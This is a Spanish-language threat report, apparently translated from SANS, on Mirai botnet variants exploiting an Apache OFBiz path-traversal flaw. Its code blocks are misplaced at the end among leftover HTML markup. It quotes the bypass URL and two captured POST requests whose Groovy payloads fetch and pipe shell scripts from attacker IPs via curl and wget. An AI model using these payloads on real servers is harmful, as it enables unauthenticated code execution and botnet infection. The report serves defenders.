El software de planificaci\u00f3n de recursos empresariales (ERP) es la base de muchas empresas que respaldan los recursos humanos, la contabilidad, el transporte y la fabricaci\u00f3n. Estos sistemas pueden llegar a ser muy complejos y dif\u00edciles de mantener. Suelen estar altamente personalizados, lo que puede dificultar la aplicaci\u00f3n de parches. Sin embargo, las vulnerabilidades cr\u00edticas siguen afectando a estos sistemas y ponen en riesgo los datos empresariales cr\u00edticos. <\/p>\n
El Centro de Tormentas de Internet de SANS public\u00f3 un informe<\/a> mostrando c\u00f3mo el marco ERP de c\u00f3digo abierto OFBiz es actualmente el objetivo de nuevas variedades de la botnet Mirai.<\/p>\n Como parte de su amplia cartera de proyectos, la Fundaci\u00f3n Apache apoya OFBiz<\/a>un marco basado en Java para crear aplicaciones ERP (planificaci\u00f3n de recursos empresariales). OFBiz parece ser mucho menos frecuente<\/a> que las alternativas comerciales. Sin embargo, al igual que con cualquier otro sistema ERP, las organizaciones dependen de \u00e9l para datos comerciales confidenciales, y la seguridad de estos sistemas ERP es fundamental.<\/p>\n En mayo de este a\u00f1o, un actualizaci\u00f3n de seguridad cr\u00edtica<\/a> para OFBiz. La actualizaci\u00f3n solucion\u00f3 una vulnerabilidad de navegaci\u00f3n de directorios que pod\u00eda provocar la ejecuci\u00f3n remota de comandos. Las versiones de OFBiz anteriores a la 18.12.13 se vieron afectadas. Unas semanas despu\u00e9s, detalles sobre la vulnerabilidad<\/a> Se hicieron p\u00fablicos.<\/p>\n Las vulnerabilidades de cruce de directorios o de cruce de rutas se pueden utilizar para eludir las reglas de control de acceso. Por ejemplo, si un usuario puede acceder a un directorio “\/public” pero no a un directorio “\/admin”, un atacante puede utilizar una URL como “\/public\/..\/admin” para enga\u00f1ar a la l\u00f3gica de control de acceso. Recientemente, CISA y FBI lanz\u00f3 una alerta<\/a> Como parte de la iniciativa “Secure by Design”, centrada en el rastreo de directorios, CISA se\u00f1al\u00f3 que actualmente est\u00e1n rastreando 55 vulnerabilidades de rastreo de directorios como parte del cat\u00e1logo “Known Exploited Vulnerabilities” (KEV).<\/p>\n En el caso de OFBiz, el recorrido de directorio se activa f\u00e1cilmente insertando un punto y coma. Todo lo que tiene que encontrar un atacante es una URL a la que pueda acceder y agregar un punto y coma seguido de una URL restringida. La URL del exploit que vemos actualmente es:<\/p>\n <\/code><\/p>\n Dado que los usuarios deben poder restablecer sus contrase\u00f1as sin iniciar sesi\u00f3n primero, “forgotPassword” no requiere ninguna autenticaci\u00f3n. “ProgramExport”, por otro lado, debe tener acceso controlado y no se puede acceder a \u00e9l a menos que el usuario haya iniciado sesi\u00f3n. “ProgramExport” es particularmente peligroso porque permite la ejecuci\u00f3n de c\u00f3digo arbitrario. La l\u00f3gica defectuosa en OFBiz dej\u00f3 de evaluar la URL en el punto y coma. Esto permiti\u00f3 que cualquier usuario, sin iniciar sesi\u00f3n, accediera a la segunda parte de la URL, “\/ProgramExport”. <\/p>\n Un atacante debe utilizar una solicitud POST para explotar la vulnerabilidad, pero no necesariamente necesita un cuerpo de solicitud. En cambio, un par\u00e1metro de URL funcionar\u00e1 perfectamente. <\/p>\n El Centro de tormentas de Internet SANS<\/a> Utiliza una extensa red de honeypots para detectar intentos de explotar una amplia gama de vulnerabilidades de aplicaciones web. Los nuevos intentos de explotaci\u00f3n importantes se resumen en un “Visto por primera vez<\/a>” informe. Este fin de semana, estos sensores detectaron un aumento significativo en los intentos de explotar CVE-2024-32213, la vulnerabilidad de navegaci\u00f3n de directorios mencionada anteriormente por OFBiz, que fue inmediatamente detectada por el informe “First Seen”.<\/p>\n Los intentos de explotaci\u00f3n se originaron desde dos direcciones IP diferentes que tambi\u00e9n estaban asociadas con varios intentos de explotaci\u00f3n de dispositivos IoT, com\u00fanmente asociados con las variedades actuales de la botnet “Mirai”.<\/p>\n Los malhechores utilizaron dos versiones del exploit. La primera utiliz\u00f3 la URL para incluir el comando que el exploit pretend\u00eda ejecutar:<\/p>\n <\/code> <\/p>\n El segundo utiliz\u00f3 el cuerpo de la solicitud del comando, lo cual es m\u00e1s com\u00fan para las solicitudes “POST”:<\/p>\n <\/code> <\/p>\n Lamentablemente, no se recuper\u00f3 ni el script “bin.sh” ni el “sh”. Las direcciones IP se utilizaron en los an\u00e1lisis del 29 de julio, utilizando el agente de usuario “KrebsOnSecurity”, un gui\u00f1o al blogger de seguridad inform\u00e1tica Brian Krebs. Sin embargo, las URL analizadas eran en su mayor\u00eda parasitarias, en busca de shells web existentes que hab\u00edan quedado de ataques anteriores. La direcci\u00f3n IP tambi\u00e9n se utiliz\u00f3 para distribuir un archivo llamado “botx.arm”. Este nombre de archivo suele asociarse con variantes de Mirai.<\/p>\n Con el anuncio de la vulnerabilidad en mayo, hemos estado esperando algunos an\u00e1lisis para aprovechar la vulnerabilidad de OFBiz. La explotaci\u00f3n fue trivial y, si bien la poblaci\u00f3n vulnerable y expuesta es peque\u00f1a, esto no ha detenido a los atacantes en el pasado. Pero ahora al menos est\u00e1n experimentando y tal vez agregando la vulnerabilidad a bots como las variantes de Mirai.<\/p>\n S\u00f3lo hay unas pocas direcciones IP involucradas:<\/p>\n Si este art\u00edculo le result\u00f3 interesante y le gustar\u00eda profundizar m\u00e1s en el mundo de la seguridad de aplicaciones web, API y microservicios, puede unirse a m\u00ed en Network Security 2024 (del 4 al 9 de septiembre) para Mi curso, SEC522<\/a>. Vea todo lo que le espera al evento aqu\u00ed.<\/a><\/p>\n <\/p>\n<\/p>\n\/webtools\/control\/forgotPassword;\/ProgramExport<\/pre>\n
![\"\"](\"https:\/\/teknomers.com\/es\/wp-content\/uploads\/2024\/08\/La-botnet-Mirai-que-ataca-a-los-servidores-OFBiz-es.jpg\")
<\/a><\/div>\n<\/p>\nPOST \/webtools\/control\/forgotPassword;\/ProgramExport?groovyProgram=groovyProgram=throw+new+Exception('curl https:\/\/95.214.27.196\/where\/bin.sh<\/pre>\n<\/p>\nPOST \/webtools\/control\/forgotPassword;\/ProgramExport HTTP\/1.1\nUser-Agent: Mozilla\/5.0 (Linux; Linux x86_64; en-US) Gecko\/20100101 Firefox\/122.0\nHost: [victim IP address]\nAccept: *\/*\nUpgrade-Insecure-Requests: 1\nConnection: keep-alive\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 147\ngroovyProgram=throw+new+Exception('curl https:\/\/185.196.10.231\/sh | sh -s ofbiz || wget -O- https:\/\/185.196.10.231\/sh | sh -s ofbiz'.execute().text);\n<\/pre>\n\n